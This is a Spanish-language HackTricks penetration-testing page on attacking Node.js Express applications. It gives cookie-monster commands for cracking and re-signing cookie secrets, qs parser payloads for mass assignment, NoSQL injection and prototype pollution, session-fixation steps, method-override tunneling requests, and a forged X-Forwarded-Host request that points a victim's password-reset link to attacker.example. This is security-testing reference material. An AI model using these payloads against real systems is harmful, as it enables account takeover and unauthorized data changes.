NodeJS Express

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

Quick Fingerprinting

Indicadores útiles de Express durante recon:

  • X-Powered-By: Express o stack traces que mencionen express, body-parser, qs, cookie-parser, express-session, o finalhandler
  • Cookies prefijadas con s: (cookie firmada) o j: (cookie JSON)
  • Cookies de sesión como connect.sid
  • Campos de formulario ocultos o parámetros de consulta como _method=PUT / _method=DELETE
  • Páginas de error leaking Cannot GET /path, Cannot POST /path, Unexpected token en body-parser, o URIError durante el análisis de la query

Cuando confirmes Express, céntrate en la cadena de middleware, porque la mayoría de los bugs interesantes provienen de los parsers, proxy trust, el manejo de sesiones y el method-tunneling en vez del núcleo del framework.

La herramienta https://github.com/DigitalInterruption/cookie-monster es una utilidad para automatizar las pruebas y volver a firmar los secretos de cookies de Express.js.

Express suele exponer comúnmente dos formatos de cookie útiles:

  • s:<value>.<sig> cookies firmadas manejadas por cookie-parser o express-session
  • j:<json> cookies JSON que son parseadas automáticamente por cookie-parser

Si cookie-parser recibe una cookie firmada y la firma es inválida, el valor pasa a ser false en lugar del valor manipulado. Si la aplicación acepta un array de secretos, los secretos antiguos aún pueden verificar cookies existentes después de la rotación.

cookie-monster -c eyJmb28iOiJiYXIifQ== -s LVMVxSNPdU_G8S3mkjlShUD78s4 -n session

Wordlist personalizada

cookie-monster -c eyJmb28iOiJiYXIifQ== -s LVMVxSNPdU_G8S3mkjlShUD78s4 -w custom.lst

Probar múltiples cookies usando batch mode

cookie-monster -b -f cookies.json

Probar múltiples cookies usando batch mode con una wordlist personalizada

cookie-monster -b -f cookies.json -w custom.lst

Si conoces el secreto, puedes firmar la cookie.

cookie-monster -e -f new_cookie.json -k secret

Abuso del parser de Query String y URL-Encoded

Los objetivos Express suelen volverse interesantes cuando analizan claves controladas por el atacante en objetos anidados.

  • req.query puede configurarse con diferentes parsers, incluyendo qs
  • express.urlencoded({ extended: true }) utiliza parsing estilo qs para application/x-www-form-urlencoded
  • El parsing anidado habilita object injection, mass assignment, NoSQL injection y prototype pollution chains si el objeto parseado se fusiona con el estado de la aplicación

Payloads prácticos para probar:

# Mass assignment style probe
curl 'https://target.example/profile?role=admin&isAdmin=true'

# Nested object / qs syntax
curl 'https://target.example/search?user[role]=admin&filters[name][$ne]=x'

# URL-encoded body against express.urlencoded({ extended: true })
curl -X POST 'https://target.example/api/update'   -H 'Content-Type: application/x-www-form-urlencoded'   --data 'profile[role]=admin&filters[$ne]=x'

Si la app refleja o persiste el objeto resultante, dirígete a las páginas dedicadas para los detalles de explotación:

Mass Assignment Cwe 915

Express Prototype Pollution Gadgets

Pruebas adicionales que vale la pena enviar específicamente contra Express:

  • Anidamiento profundo para detectar límites del analizador, tiempos de espera, o diferencias 400/413
  • Claves duplicadas para ver si la app mantiene el primer valor, el último, o un array
  • Sintaxis con corchetes como a[b][c]=1, sintaxis punteada como a.b=1, y payloads __proto__ / constructor[prototype]

trust proxy Abuso

Si la app usa app.set("trust proxy", true) o confía en demasiados saltos, Express derivará valores relevantes para la seguridad a partir de las cabeceras de reenvío. Si el proxy inverso no los sobrescribe, un cliente puede falsificarlos directamente.

Esto afecta a:

  • req.hostname vía X-Forwarded-Host
  • req.protocol vía X-Forwarded-Proto
  • req.ip / req.ips vía X-Forwarded-For

Esto es útil para:

  • Envenenamiento de restablecimiento de contraseña y envenenamiento de URL absoluta
  • Evadir listas de permitidos basadas en IP, límites de tasa, o trazas de auditoría
  • Influir en el manejo de cookies secure y en la lógica solo-HTTPS en apps que dependen de req.protocol
  • Envenenar redirecciones o respuestas cacheables cuando la app genera enlaces absolutos usando las cabeceras de host/proto reenviadas
POST /reset-password HTTP/1.1
Host: target.example
X-Forwarded-Host: attacker.example
X-Forwarded-Proto: https
X-Forwarded-For: 127.0.0.1
Content-Type: application/json

{"email":"victim@target.example"}

Verifica si los enlaces generados, ubicaciones de redirección, registros o decisiones de control de acceso ahora usan valores proporcionados por el atacante.

Páginas relacionadas:

Reset/Forgotten Password Bypass

Cache Poisoning and Cache Deception

express-session Notas de prueba

Las implementaciones comunes de Express usan express-session, que firma la cookie de identificador de sesión pero guarda el estado real en el servidor.

Comprobaciones útiles:

  • Session fixation: autentícate con una cookie previa al login y verifica si el SID permanece igual después del login
  • Weak secret rotation: algunas implementaciones verifican cookies con un array de secretos antiguos, por lo que firmas previamente válidas pueden seguir funcionando
  • saveUninitialized: true: la aplicación emite sesiones pre-auth a usuarios anónimos, lo que facilita la fixation y aumenta la superficie de sesión para ataques de fuerza bruta o análisis de caché
  • MemoryStore en producción suele indicar baja madurez operativa y comportamiento inestable de sesiones durante reinicios

Un flujo práctico de fixation:

  1. Obtén una cookie de sesión anónima del objetivo.
  2. Envía esa cookie a una víctima o autentícate con ella tú mismo.
  3. Comprueba si el login vincula el estado autenticado al SID existente.
  4. Si lo hace, reproduce la misma cookie en una sesión de navegador separada.

Si la app no llama a req.session.regenerate() después de la autenticación, a menudo la fixation sigue siendo posible.

Method Override Tunneling

Algunas apps Express usan method-override para tunelar verbos que los formularios HTML no pueden enviar de forma nativa. Cuando está habilitado, siempre prueba si puedes contrabandear métodos peligrosos a través de una ruta que el front-end, WAF, o la lógica CSRF asumió que era solo POST.

Pruebas típicas:

POST /users/42 HTTP/1.1
Host: target.example
X-HTTP-Method-Override: DELETE
Content-Type: application/x-www-form-urlencoded

confirm=yes
POST /users/42?_method=PUT HTTP/1.1
Host: target.example
Content-Type: application/x-www-form-urlencoded

role=admin

Impactos interesantes:

  • Acceder a rutas ocultas PUT / PATCH / DELETE a través de un control de borde que solo permite POST
  • Evadir middleware específico de ruta que solo comprueba req.method
  • Activar manejadores que cambian estado vía CSRF cuando la aplicación valida únicamente el método externo de la solicitud

Por defecto, el middleware normalmente solo sobrescribe POST, así que prioriza las peticiones POST con valores de override en header, body y query-string.

Referencias

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks